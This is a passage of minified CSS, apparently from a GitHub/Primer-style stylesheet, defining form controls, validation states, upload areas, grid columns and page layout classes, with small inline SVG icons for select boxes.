.form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start 